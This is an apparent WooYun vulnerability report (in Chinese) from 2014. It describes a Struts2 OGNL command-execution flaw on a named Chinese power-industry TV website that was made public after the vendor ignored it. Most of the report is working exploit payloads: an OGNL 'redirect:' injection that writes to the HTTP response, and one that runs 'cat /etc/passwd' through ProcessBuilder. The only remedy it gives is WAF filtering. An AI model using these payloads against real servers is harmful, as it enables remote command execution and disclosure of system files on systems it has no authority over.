漏洞概要 关注数(24) 关注此漏洞
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漏洞详情
披露状态:
2014-04-11: 积极联系厂商并且等待厂商认领中,细节不对外公开
2014-05-26: 厂商已经主动忽略漏洞,细节向公众公开
简要描述:
中国电力网络电视命令执行getshell
详细说明:
中国电力网络电视
http://www.cptv.com.cn/
漏洞利用:
打印文本
?redirect:${%23rep%3d%23context.get%28%27com.opensymphony.xwork.dispatcher.HttpServletResponse%27%29,%23rep.getWriter%28%29.println%28%22test.%22%29,%23rep.getWriter%28%29.flush%28%29,%23rep.getWriter%28%29.close%28%29}
查看passwd
?redirect:${%23a%3d(new java.lang.ProcessBuilder(new java.lang.String[]{'cat','/etc/passwd'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew java.io.InputStreamReader(%23b),%23d%3dnew java.io.BufferedReader(%23c),%23e%3dnew char[50000],%23d.read(%23e),%23matt%3d%23context.get('com.opensymphony.xwork.dispatcher.HttpServletResponse'),%23matt.getWriter().println(%23e),%23matt.getWriter().flush(),%23matt.getWriter().close()}
漏洞证明:
修复方案:
WAF过滤。
版权声明:转载请注明来源 矿主@乌云
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漏洞回应
厂商回应:
未能联系到厂商或者厂商积极拒绝